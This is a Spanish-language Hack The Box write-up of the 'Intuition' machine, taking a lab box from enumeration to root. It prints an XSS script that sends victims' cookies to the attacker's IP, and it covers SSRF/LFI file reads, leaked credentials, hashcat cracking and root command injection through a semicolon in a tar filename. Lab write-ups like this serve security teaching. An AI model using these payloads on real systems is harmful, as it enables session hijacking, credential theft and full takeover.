Table of Contents
Hack The Box: Intuition Writeup
Welcome to my detailed writeup of the hard difficulty machine “Intuition” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.
Enumeration
Con nmap descubrimos estos puertos abiertos.
122/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
2| ssh-hostkey:
3| 256 b3:a8:f7:5d:60:e8:66:16:ca:92:f6:76:ba:b8:33:c2 (ECDSA)
4|_ 256 07:ef:11:a6:a0:7d:2b:4d:e8:68:79:1a:7b:a7:a9:cd (ED25519)
580/tcp open http nginx 1.18.0 (Ubuntu)
6|_http-server-header: nginx/1.18.0 (Ubuntu)
7|_http-title: Did not follow redirect to http://comprezzor.htb/
8Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Haciendo un breve reconocimiento en la web y utilizando wfuzz
encontramos los siguientes subdominios.
- comprezzor.htb
- report.comprezzor.htb
- auth.comprezzor.htb
- dashboard.comprezzor.htb
En auth.comprezzor.htb podemos hacernos una cuenta y acceder a
report.comprezzor.htb`
Vemos que se utiliza cifrado LMZA, esto nos recuerda al último backdoor que ocurrió en OpenSSH con la librería “xz” pero no van por ahí los tiros.
FootHold
Encontramos un XSS en report.comprezzor.htb.
1$ python3 -m http.server 8000
2Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
310.129.230.246 - - [29/Jul/2024 19:40:09] code 404, message File not found
410.129.230.246 - - [29/Jul/2024 19:40:09] "GET /img.png HTTP/1.1" 404 -
Robando la cookie del moderador
Por lo cual, podemos probar a ver si no hay ningún tipo de sanitización y podemos inyectar un script de javascript.
1// evil.js
2const cookies = document.cookie
3
4fetch("http://10.10.14.71:8000/collect?c=" + document.cookie).
5 then(d => console.log("Consulta realizada"))
1$ python3 -m http.server 8000
2Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
310.129.230.246 - - [29/Jul/2024 19:34:05] "GET /evil.js HTTP/1.1" 304 -
410.129.230.246 - - [29/Jul/2024 19:34:05] code 404, message File not found
510.129.230.246 - - [29/Jul/2024 19:34:05] "GET /collect?c=user_data=eyJ1c2VyX2lkIjogMiwgInVzZXJuYW1lIjogImFkYW0iLCAicm9sZSI6ICJ3ZWJkZXYifXw1OGY2ZjcyNTMzOWNlM2Y2OWQ4NTUyYTEwNjk2ZGRlYmI2OGIyYjU3ZDJlNTIzYzA4YmRlODY4ZDNhNzU2ZGI4 HTTP/1.1" 404 -
Esta cookie, podemos utilizarla para iniciar sesión en el subdominio. dashboard.comprezzor.htb
Robando la cookie del administrador
Después de investigar un rato, podemos suponer que los reportes con alta prioridad serán revisados por un usuario administrador, por lo cual si en este panel si inyectamos otra vez el script malicioso y lo establecemos como alta prioridad..
110.129.230.246 - - [29/Jul/2024 19:36:55] "GET /collect?c=user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5 HTTP/1.1" 404
Tenemos una cookie distinta, y si la decodificamos de base64.
1echo "eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5" | base64 -d
2{"user_id": 1, "username": "admin", "role": "admin"}|34822333d444ae0e4022f6cc679ac9d26d1d1d682c59c61cfbea29d776d589d9
Ahora podemos acceder al panel de administración como el usuario admin.
Local File Inclusion
En este panel veo una funcionalidad que me llama la atención. /create_pdf_report
. Lo primero que pienso es en un SSRF pero primero hay que enumerar que hace esta funcionalidad.
Podemos hacer una especie de captura de pantalla de la URL que queramos.
1$ exiftool report_88754.pdf | grep Creator
2Creator : wkhtmltopdf 0.12.6
Podemos ver la herramienta utilizada para esta funcionalidad, y una simple búsqueda en Google nos reporta que esta herramienta tiene una vulnerabilidad de tipo SSRF.
Detecto un comportamiento un tanto extraño Ya que si intentamos apuntar a un recurso local del sistema nos reporta que la URL es inválida. Pero si introducimos un espacio delante, nos reporta un error distinto.
Si nos ponemos en escucha con nc
podemos detectar que de esta función se encarga una utilidad en Python.
1nc -lvnp 8000
2listening on [any] 8000 ...
3connect to [10.10.14.71] from (UNKNOWN) [10.129.230.246] 55388
4GET / HTTP/1.1
5Accept-Encoding: identity
6Host: 10.10.14.71:8000
7**User-Agent: Python-urllib/3.11**
Pero bueno, aprovechandonos del error encontrado al espaciar la URL, podemos cargar un recurso local del sistema con file://.
Ahora cargando el /proc/self/cmdline
podemos ver cual ha sido el comando para ejecutar el proceso del que depende esta funcionalidad.
Filtrando el código fuente
Por lo cual, podemos cargar el archivo /app/code/app.py
y podemos ver dos cosas interesantes.
- Una clave secreta.
- una linea
redirect from blueprints.index.index
Cargando el archivo /app/code/blueprints/index/index.py
Este archivo no nos sirve de nada pero ya sabemos que la ruta existe.
Una vez sabiendo que esta ruta existe, gracias al app.py
podemos suponer que también existen estos recursos.
/app/code/blueprints/report/report.py
/app/code/blueprints/auth/auth.py
/app/code/blueprints/dashboard/dashboard.py
Antes, en el panel de administración, había detectado una funcionalidad que no sabía exactamente que es lo que hacía.
Vamos a echar un ojo al archivo dashboard.py
a ver que contiene..
Si miramos con ojo de halcón, detectamos la siguiente linea.
ftp.login(user='ftp_admin', passwd='u3jai8y71s2')
Intento iniciar sesión por ssh pero no es posible.
1ssh ftp_admin@comprezzor.htb
2The authenticity of host 'comprezzor.htb (10.129.230.246)' can't be established.
3ED25519 key fingerprint is SHA256:++SuiiJ+ZwG7d5q6fb9KqhQRx1gGhVOfGR24bbTuipg.
4This key is not known by any other names.
5Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
6Warning: Permanently added 'comprezzor.htb' (ED25519) to the list of known hosts.
7ftp_admin@comprezzor.htb's password:
Recordemos que el puerto 21/TCP
estaba cerrado, pero gracias a este LFI, podemos cargar recursos del FTP ya que podemos solicitar el recurso ftp://ftp_admin:u3jai8y71s2@ftp.local
Consiguiendo una id_rsa
Hay un archivo private-*.key
que me llama la atención.
Ahora lo podemos solicitar a través del SSRF con ftp://ftp_admin:u3jai8y71s2@ftp.local/private-8297.key
Y tenemos una clave privada.
Como no se para que usuario es esta clave privada, podemos revisar el archivo welcome_note.txt
Y vemos que esto es para los desarrolladores, por lo cual el nombre de usuario seguramente contenga la palabra dev
.
Además también vemos una passphrase para esta clave privada. Y27SH19HDIWD
Pero simplemente podemos comprobar a que usuario pertenece esta clave privada validando a con ssh-add
la passphrase que hemos encontrado añadiendola a nuestro repositorio de claves privadas.
1$ ssh-add id_rsa
2Enter passphrase for id_rsa:
3Identity added: id_rsa (dev_acc@local)
dev_acc
es el nombre de usuario de esta clave privada, ahora vamos a intentar iniciar sesión en la máquina víctima.
Aunque antes vamos a eliminar la clave privada de mi repositorio.
1$ ssh-add -d id_rsa
2Identity removed: id_rsa RSA (no comment)
1$ ssh dev_acc@comprezzor.htb -i id_rsa
2Enter passphrase for key 'id_rsa':
3Last login: Mon Jul 29 16:29:28 2024 from 10.10.14.71
4dev_acc@intuition:~$ id
5uid=1001(dev_acc) gid=1001(dev_acc) groups=1001(dev_acc)
User Pivoting
Enumerando la aplicación web en /var/www/app
podemos ver que de base de datos utiliza SQLite3 ya que se emplean archivos .db
.
1dev_acc@intuition:/var/www/app/blueprints/report$ ls
2__pycache__ report.py report_utils.py reports.db reports.sql
Por lo cual, para acceder a los usuarios de la plataforma (recordemos que había una sección de autenticación) simplemente tenemos que acceder al archivo .db
correspondiente.
Crackeando el hash de adam
1dev_acc@intuition:/var/www/app/blueprints/auth$ ls -la
2total 40
3drwxr-xr-x 3 root root 4096 Jul 29 16:30 .
4drwxr-xr-x 6 root root 4096 Apr 10 08:21 ..
5drwxr-xr-x 2 root root 4096 Apr 10 08:21 __pycache__
6-rw-r--r-- 1 root root 1842 Sep 18 2023 auth.py
7-rw-r--r-- 1 root root 3038 Sep 19 2023 auth_utils.py
8-rw-r--r-- 1 root root 16384 Jul 29 16:30 users.db
9-rw-r--r-- 1 root root 171 Sep 18 2023 users.sql
Vemos al usuario adam
y admin
y un hash sha256.
Este hash lo podemos identificar y crackear con el modo autodetect de hashcat
.
1C:\Users\pc\Desktop\hashcat-6.2.6>.\hashcat.exe .\hash.txt .\rockyou.txt
1sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43:adam gray
2
3Session..........: hashcat
4Status...........: Cracked
5Hash.Mode........: 30120 (Python Werkzeug SHA256 (HMAC-SHA256 (key = $salt)))
6Hash.Target......: sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc...89fc43
7Time.Started.....: Mon Jul 29 18:46:39 2024 (2 secs)
8Time.Estimated...: Mon Jul 29 18:46:41 2024 (0 secs)
9Kernel.Feature...: Pure Kernel
10Guess.Base.......: File (.\rockyou.txt)
11Guess.Queue......: 1/1 (100.00%)
12Speed.#1.........: 6201.3 kH/s (12.48ms) @ Accel:256 Loops:1 Thr:64 Vec:1
Pero esta no es la contraseña para el usuario adam
1dev_acc@intuition:/var/www/app/blueprints/auth$ su adam
2Password:
3su: Authentication failure
Así que vamos a intentar enumerar el FTP ya que antes hemos visto que estaba abierto.
1dev_acc@intuition:/var/www/app/blueprints/auth$ ftp adam@127.0.01
2Connected to 127.0.01.
3220 pyftpdlib 1.5.7 ready.
4331 Username ok, send password.
5Password:
6230 Login successful.
7Remote system type is UNIX.
8Using binary mode to transfer files.
Dentro del FTP, en /backup/runner1
nos encontramos los siguientes ficheros.
1150 File status okay. About to open data connection.
2-rwxr-xr-x 1 root 1002 318 Apr 06 00:25 run-tests.sh
3-rwxr-xr-x 1 root 1002 16744 Oct 19 2023 runner1
4-rw-r--r-- 1 root 1002 3815 Oct 19 2023 runner1.c
1# run-tests.sh
2#!/bin/bash
3
4# List playbooks
5./runner1 list
6
7# Run playbooks [Need authentication]
8# ./runner run [playbook number] -a [auth code]
9#./runner1 run 1 -a "UHI75GHI****"
10
11# Install roles [Need authentication]
12# ./runner install [role url] -a [auth code]
13#./runner1 install http://role.host.tld/role.tar -a "UHI75GHI****"
Aquí podemos ver que se utiliza un tipo de código de autenticación el cual podemos ver entero excepto 4 carácteres.
El binario runner1 suponemos que es el archivo runner1.c compilado, vamos a echarle un vistazo.
1// runner1.c
2// Version : 1
3
4#include <stdio.h>
5#include <stdlib.h>
6#include <string.h>
7#include <dirent.h>
8#include <openssl/md5.h>
9
10#define INVENTORY_FILE "/opt/playbooks/inventory.ini"
11#define PLAYBOOK_LOCATION "/opt/playbooks/"
12#define ANSIBLE_PLAYBOOK_BIN "/usr/bin/ansible-playbook"
13#define ANSIBLE_GALAXY_BIN "/usr/bin/ansible-galaxy"
14#define AUTH_KEY_HASH "0feda17076d793c2ef2870d7427ad4ed"
15
16int check_auth(const char* auth_key) {
17 unsigned char digest[MD5_DIGEST_LENGTH];
18 MD5((const unsigned char*)auth_key, strlen(auth_key), digest);
19
20 char md5_str[33];
21 for (int i = 0; i < 16; i++) {
22 sprintf(&md5_str[i*2], "%02x", (unsigned int)digest[i]);
23 }
24
25 if (strcmp(md5_str, AUTH_KEY_HASH) == 0) {
26 return 1;
27 } else {
28 return 0;
29 }
30}
31
32void listPlaybooks() {
33 DIR *dir = opendir(PLAYBOOK_LOCATION);
34 if (dir == NULL) {
35 perror("Failed to open the playbook directory");
36 return;
37 }
38
39 struct dirent *entry;
40 int playbookNumber = 1;
41
42 while ((entry = readdir(dir)) != NULL) {
43 if (entry->d_type == DT_REG && strstr(entry->d_name, ".yml") != NULL) {
44 printf("%d: %s\n", playbookNumber, entry->d_name);
45 playbookNumber++;
46 }
47 }
48
49 closedir(dir);
50}
51
52void runPlaybook(const char *playbookName) {
53 char run_command[1024];
54 snprintf(run_command, sizeof(run_command), "%s -i %s %s%s", ANSIBLE_PLAYBOOK_BIN, INVENTORY_FILE, PLAYBOOK_LOCATION, playbookName);
55 system(run_command);
56}
57
58void installRole(const char *roleURL) {
59 char install_command[1024];
60 snprintf(install_command, sizeof(install_command), "%s install %s", ANSIBLE_GALAXY_BIN, roleURL);
61 system(install_command);
62}
63
64int main(int argc, char *argv[]) {
65 if (argc < 2) {
66 printf("Usage: %s [list|run playbook_number|install role_url] -a <auth_key>\n", argv[0]);
67 return 1;
68 }
69
70 int auth_required = 0;
71 char auth_key[128];
72
73 for (int i = 2; i < argc; i++) {
74 if (strcmp(argv[i], "-a") == 0) {
75 if (i + 1 < argc) {
76 strncpy(auth_key, argv[i + 1], sizeof(auth_key));
77 auth_required = 1;
78 break;
79 } else {
80 printf("Error: -a option requires an auth key.\n");
81 return 1;
82 }
83 }
84 }
85
86 if (!check_auth(auth_key)) {
87 printf("Error: Authentication failed.\n");
88 return 1;
89 }
90
91 if (strcmp(argv[1], "list") == 0) {
92 listPlaybooks();
93 } else if (strcmp(argv[1], "run") == 0) {
94 int playbookNumber = atoi(argv[2]);
95 if (playbookNumber > 0) {
96 DIR *dir = opendir(PLAYBOOK_LOCATION);
97 if (dir == NULL) {
98 perror("Failed to open the playbook directory");
99 return 1;
100 }
101
102 struct dirent *entry;
103 int currentPlaybookNumber = 1;
104 char *playbookName = NULL;
105
106 while ((entry = readdir(dir)) != NULL) {
107 if (entry->d_type == DT_REG && strstr(entry->d_name, ".yml") != NULL) {
108 if (currentPlaybookNumber == playbookNumber) {
109 playbookName = entry->d_name;
110 break;
111 }
112 currentPlaybookNumber++;
113 }
114 }
115
116 closedir(dir);
117
118 if (playbookName != NULL) {
119 runPlaybook(playbookName);
120 } else {
121 printf("Invalid playbook number.\n");
122 }
123 } else {
124 printf("Invalid playbook number.\n");
125 }
126 } else if (strcmp(argv[1], "install") == 0) {
127 installRole(argv[2]);
128 } else {
129 printf("Usage2: %s [list|run playbook_number|install role_url] -a <auth_key>\n", argv[0]);
130 return 1;
131 }
132
133 return 0;
134}
Este programa en C permite gestionar playbooks de Ansible, listar archivos de playbooks, ejecutar playbooks específicos y instalar roles de Ansible Galaxy, todo ello tras una verificación de autenticación mediante una clave hash MD5. A continuación se explica detalladamente cada sección del programa:
Definiciones y Constantes:
- Se definen las ubicaciones de archivos y comandos necesarios.
AUTH_KEY_HASH
almacena un hash MD5 para la autenticación.
Función
check_auth
:- Toma una clave de autenticación (
auth_key
) y calcula su hash MD5. - Compara el hash calculado con
AUTH_KEY_HASH
. - Devuelve 1 si coinciden, indicando autenticación exitosa, o 0 en caso contrario.
- Toma una clave de autenticación (
Función
listPlaybooks
:- Abre el directorio especificado en
PLAYBOOK_LOCATION
. - Lista todos los archivos que terminan en
.yml
, numerándolos.
- Abre el directorio especificado en
Función
runPlaybook
:- Construye un comando para ejecutar un playbook específico usando
ansible-playbook
. - Usa el archivo de inventario especificado en
INVENTORY_FILE
.
- Construye un comando para ejecutar un playbook específico usando
Función
installRole
:- Construye un comando para instalar un rol de Ansible Galaxy usando
ansible-galaxy
.
- Construye un comando para instalar un rol de Ansible Galaxy usando
Función
main
:- Procesa los argumentos de la línea de comandos.
- Verifica que se ha proporcionado una clave de autenticación y la comprueba.
- Según el primer argumento (
list
,run
,install
):- Llama a
listPlaybooks
para listar los playbooks. - Llama a
runPlaybook
para ejecutar un playbook específico, determinado por su número en la lista. - Llama a
installRole
para instalar un rol desde una URL.
- Llama a
Crackeando el hash de runner.c
El flujo principal del programa incluye una verificación de autenticación antes de permitir cualquier operación. Si la autenticación falla, el programa termina con un mensaje de error.
Este hash MD5 lo podemos crackear ya que sabemos que la contraseña empieza por “UHI75GHI” y sigue por 4 carácteres que probablemente sean mayúsculas y numéricos.
Con hashcat podemos hacer un ataque de fuerza bruta por máscara.
`hashcat -m 0 -a 3 -1 ?u?d hashes.txt UHI75GHI?1?1?1?1
10feda17076d793c2ef2870d7427ad4ed:UHI75GHINKOP
2
3Session..........: hashcat
4Status...........: Cracked
5Hash.Mode........: 0 (MD5)
6Hash.Target......: 0feda17076d793c2ef2870d7427ad4ed
7Time.Started.....: Mon Jul 29 19:01:29 2024 (0 secs)
8Time.Estimated...: Mon Jul 29 19:01:29 2024 (0 secs)
9Kernel.Feature...: Pure Kernel
10Guess.Mask.......: UHI75GHI?1?1?1?1 [12]
11Guess.Charset....: -1 ?u?d, -2 Undefined, -3 Undefined, -4 Undefined
Por ahora esta password no nos sirve de nada, pero nos servirá para terminar de escalar privilegios.
Information Leakage via privileged logs
Pasando el linpeas.sh
podemos ver algo extraño.
Vamos a revisar ese directorio.
Vemos un montón de logs y tenemos permiso de lectura.
1dev_acc@intuition:/var/log/suricata$ ls -la
2total 40576
3drwxr-xr-x 2 root root 4096 Jul 29 15:08 .
4drwxrwxr-x 12 root syslog 4096 Jul 29 15:08 ..
5-rw-r--r-- 1 root root 0 Jul 29 15:08 eve.json
6-rw-r--r-- 1 root root 16703683 Jul 29 15:08 eve.json.1
7-rw-r--r-- 1 root root 5760612 Oct 26 2023 eve.json.1-2024040114.backup
8-rw-r--r-- 1 root root 0 Apr 8 14:19 eve.json.1-2024042213.backup
9-rw-r--r-- 1 root root 0 Apr 22 13:26 eve.json.1-2024042918.backup
10-rw-r--r-- 1 root root 0 Apr 29 18:27 eve.json.1-2024072915.backup
11-rw-r--r-- 1 root root 214743 Oct 28 2023 eve.json.5.gz
12-rw-r--r-- 1 root root 5050595 Oct 14 2023 eve.json.7.gz
13-rw-r--r-- 1 root root 972578 Sep 29 2023 eve.json.8.gz
14-rw-r--r-- 1 root root 0 Jul 29 15:08 fast.log
15-rw-r--r-- 1 root root 0 Jul 29 15:08 fast.log.1
16-rw-r--r-- 1 root root 0 Oct 26 2023 fast.log.1-2024040114.backup
17-rw-r--r-- 1 root root 0 Apr 8 14:19 fast.log.1-2024042213.backup
18-rw-r--r-- 1 root root 0 Apr 22 13:26 fast.log.1-2024042918.backup
19-rw-r--r-- 1 root root 0 Apr 29 18:27 fast.log.1-2024072915.backup
20-rw-r--r-- 1 root root 20 Oct 26 2023 fast.log.5.gz
21-rw-r--r-- 1 root root 1033 Oct 8 2023 fast.log.7.gz
22-rw-r--r-- 1 root root 1485 Sep 28 2023 fast.log.8.gz
23-rw-r--r-- 1 root root 0 Jul 29 15:08 stats.log
24-rw-r--r-- 1 root root 7741988 Jul 29 15:08 stats.log.1
25-rw-r--r-- 1 root root 4293890 Oct 26 2023 stats.log.1-2024040114.backup
26-rw-r--r-- 1 root root 0 Apr 8 14:19 stats.log.1-2024042213.backup
27-rw-r--r-- 1 root root 0 Apr 22 13:26 stats.log.1-2024042918.backup
28-rw-r--r-- 1 root root 0 Apr 29 18:27 stats.log.1-2024072915.backup
29-rw-r--r-- 1 root root 73561 Oct 28 2023 stats.log.5.gz
30-rw-r--r-- 1 root root 376680 Oct 14 2023 stats.log.7.gz
31-rw-r--r-- 1 root root 67778 Sep 29 2023 stats.log.8.gz
32-rw-r--r-- 1 root root 0 Jul 29 15:08 suricata.log
33-rw-r--r-- 1 root root 26867 Jul 29 15:08 suricata.log.1
34-rw-r--r-- 1 root root 3893 Oct 26 2023 suricata.log.1-2024040114.backup
35-rw-r--r-- 1 root root 68355 Apr 8 14:19 suricata.log.1-2024042213.backup
36-rw-r--r-- 1 root root 95100 Apr 22 13:26 suricata.log.1-2024042918.backup
37-rw-r--r-- 1 root root 26145 Apr 29 18:27 suricata.log.1-2024072915.backup
38-rw-r--r-- 1 root root 990 Apr 1 14:50 suricata.log.5.gz
39-rw-r--r-- 1 root root 1412 Oct 19 2023 suricata.log.7.gz
40-rw-r--r-- 1 root root 5076 Oct 8 2023 suricata.log.8.gz
Con zgrep podemos filtrar por palabras que nos interesen como user
y pass
zgrep -i -w pass ./*.gz | less
Y podemos detectar una supuesta credencial en el fichero eve.json
-> Lopezzz1992%123
También podemos ver que esa solicitud fue respondida con un Authentication failed
Un poco mas abajo vemos la supuesta contraseña válida.
Existe un usuario lopez
en el sistema, por lo cual podemos intentar pivotar a este usuario.
1dev_acc@intuition:/var/log/suricata$ cat /etc/passwd | grep bash
2root:x:0:0:root:/root:/bin/bash
3adam:x:1002:1002:,,,:/home/adam:/bin/bash
4dev_acc:x:1001:1001:,,,:/home/dev_acc:/bin/bash
5lopez:x:1003:1003:,,,:/home/lopez:/bin/bash
¡Somos lopez
!
1dev_acc@intuition:/var/log/suricata$ su lopez
2Password:
3lopez@intuition:/var/log/suricata$
Podemos ejecutar como cualquier usuario el binario runner2
1lopez@intuition:/var/log/suricata$ sudo -l
2[sudo] password for lopez:
3Matching Defaults entries for lopez on intuition:
4 env_reset, mail_badpass,
5 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
6 use_pty
7
8User lopez may run the following commands on intuition:
9 (ALL : ALL) /opt/runner2/runner2
Local Privilege Escalation
Ingeniería inversa al binario runner2
Me pide un archivo json
1lopez@intuition:/var/log/suricata$ sudo /opt/runner2/runner2
2Usage: /opt/runner2/runner2 <json_file>
Si creamos un comprimido con un archivo json vacío y se lo pasamos al binario..
1lopez@intuition:/tmp$ sudo /opt/runner2/runner2 /tmp/test.tar.gz
2Error parsing JSON data.
Como por detrás se está usando ansible-playbooks, podemos deducir que para la gestión de este comprimido se está utilizando ansible-galaxy
Abriendo el binario con ghidra vemos la estructura que debe de tener el archivo .json mas o menos.
Sabemos que tiene que tener un atributo run
y action
Dentro del atributo run
vemos que tiene que tener un atributo auth_code
que suponemos que es el mismo que para el binario runner1
Y dentro el atributo run
, si la action
es install
, debe de haber otro atributo llamado role_file
Si todo sale bien se llama al método installRole
1// InstallRole Method
2void installRole(undefined8 param_1)
3
4{
5 int iVar1;
6 long in_FS_OFFSET;
7 char local_418 [1032];
8 long local_10;
9
10 local_10 = *(long *)(in_FS_OFFSET + 0x28);
11 iVar1 = isTarArchive(param_1);
12 if (iVar1 == 0) {
13 fwrite("Invalid tar archive.\n",1,0x15,stderr);
14 }
15 else {
16 snprintf(local_418,0x400,"%s install %s","/usr/bin/ansible-galaxy",param_1);
17 system(local_418);
18 }
19 if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
20 /* WARNING: Subroutine does not return */
21 __stack_chk_fail();
22 }
23 return;
24}
Este método requiere un archivo .tar y le pasa al binario /usr/bin/ansible-galaxy el parámetro que recibe el método.
En este caso es lo que esté en el atributo role_file
Por lo cual si en el role_file
incluimos un archivo .tar válido y acto seguimos inyectamos un comando, podríamos ejecutar un comando como el usuario root
.
En el archivo se realiza una válidación del archivo .tar, por lo cual podemos crear un archivo .tar que se llame “loquesea.tar.gz;id” y así inyectar el comando.
Así habría quedado el archivo .json
1{
2 "run": {
3 "action": "install",
4 "role_file": "/tmp/test.tar.gz;id"
5 },
6 "auth_code": "UHI75GHINKOP"
7}
Ahora creamos el archivo .tar
1lopez@intuition:/tmp$ tar -cvf test.tar.gz test.json
2test.json
Inyectando un comando como root
Ahora cambiamos el nombre al archivo .tar
1lopez@intuition:/tmp$ mv "test.tar.gz" "test.tar.gz;id"
1lopez@intuition:/tmp$ sudo /opt/runner2/runner2 test.json
2Starting galaxy role install process
3[WARNING]: - /tmp/test.tar.gz was NOT installed successfully: Unknown error when
4attempting to call Galaxy at 'https://galaxy.ansible.com/api/': <urlopen error [Errno -3]
5Temporary failure in name resolution>
6ERROR! - you can use --ignore-errors to skip failed roles and finish processing the list.
7uid=0(root) gid=0(root) groups=0(root)
Y se acontece la inyección del comando id
y se ejecuta como el usuario root
Ahora para conseguir una bash, cambiamos el nombre del archivo a test.tar.gz;bash
1lopez@intuition:/tmp$ mv "test.tar.gz;chmod u+s bash" "test.tar.gz;bash"
Cambiamos el archivo .json
1{
2 "run": {
3 "action": "install",
4 "role_file": "/tmp/test.tar.gz;bash"
5 },
6 "auth_code": "UHI75GHINKOP"
7}
Y ejecutamos el binario..
1lopez@intuition:/tmp$ sudo /opt/runner2/runner2 test.json
2Starting galaxy role install process
3[WARNING]: - /tmp/test.tar.gz was NOT installed successfully: Unknown error when
4attempting to call Galaxy at 'https://galaxy.ansible.com/api/': <urlopen error [Errno -3]
5Temporary failure in name resolution>
6ERROR! - you can use --ignore-errors to skip failed roles and finish processing the list.
7root@intuition:/tmp# cat test.json
8{
9 "run": {
10 "action": "install",
11 "role_file": "/tmp/test.tar.gz;bash"
12 },
13 "auth_code": "UHI75GHINKOP"
14}
15root@intuition:/tmp# id
16uid=0(root) gid=0(root) groups=0(root)
¡Y ya estaría!
#HackTheBox #Intuitions #Writeup #Cybersecurity #Penetration Testing #CTF #Network Security #Linux #Reverse Shell #Privilege Escalation #RCE #LFI #UrlLib Exploitation #Reverse Ingeniering #Credentials Reuse #XSS #Cookie Hijacking #Decrypting Password #Information Leakage #Codebase Exfiltration #Password Cracking #Code Injection #Ansible